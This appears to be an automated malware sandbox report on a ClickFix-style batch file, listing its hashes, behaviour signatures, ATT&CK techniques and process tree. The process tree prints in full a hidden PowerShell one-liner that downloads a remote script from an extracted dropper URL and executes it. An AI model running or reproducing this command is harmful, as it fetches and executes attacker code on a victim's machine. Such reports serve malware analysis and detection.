f4bf5a99de1ea0f55b8907e9e963f0ec25a7afac90fc5b0624457b97060da045

Analysis

max time kernel
148s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/08/2026, 10:42

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General

Target
clickfix_raw_user_input.bat
Size 126B
Sample260816-mrtfpswsgw
SHA256 f4bf5a99de1ea0f55b8907e9e963f0ec25a7afac90fc5b0624457b97060da045
MD5 d5447b4f01c3512124032ef1263554bd
SHA1 f44e496fd5d5b4be65a2959eb9f472a6c3e5960a
SHA512 0543c616d23033c73d491fb8adae0499b844be5d398d003899db0ccb4f32dd2210719544cfefbfd09ce073f68d9455ad732a3544834e0c1787403f42e85a1dc6
TLSH
T1CFB02B4AE112B47F96034FC9C0DECE14E10711C9066000D0822389688790174F04C10B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://sarp08.no/vcapcha.ps1

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3584	powershell.exe
3	3584	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3584	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5024	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3584	powershell.exe
3584	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3584	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 5024 wrote to memory of 3584	5024	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://sarp08.no/vcapcha.ps1'))"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3584-0-0x00007FFC5F61F000-0x00007FFC5F620000-memory.dmp

Download

memory/3584-3-0x00000267F0250000-0x00000267F0272000-memory.dmp

Download

memory/3584-4-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/3584-5-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/3584-6-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/3584-7-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

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memory/3584-8-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/3584-9-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/3584-10-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/3584-11-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/3584-13-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

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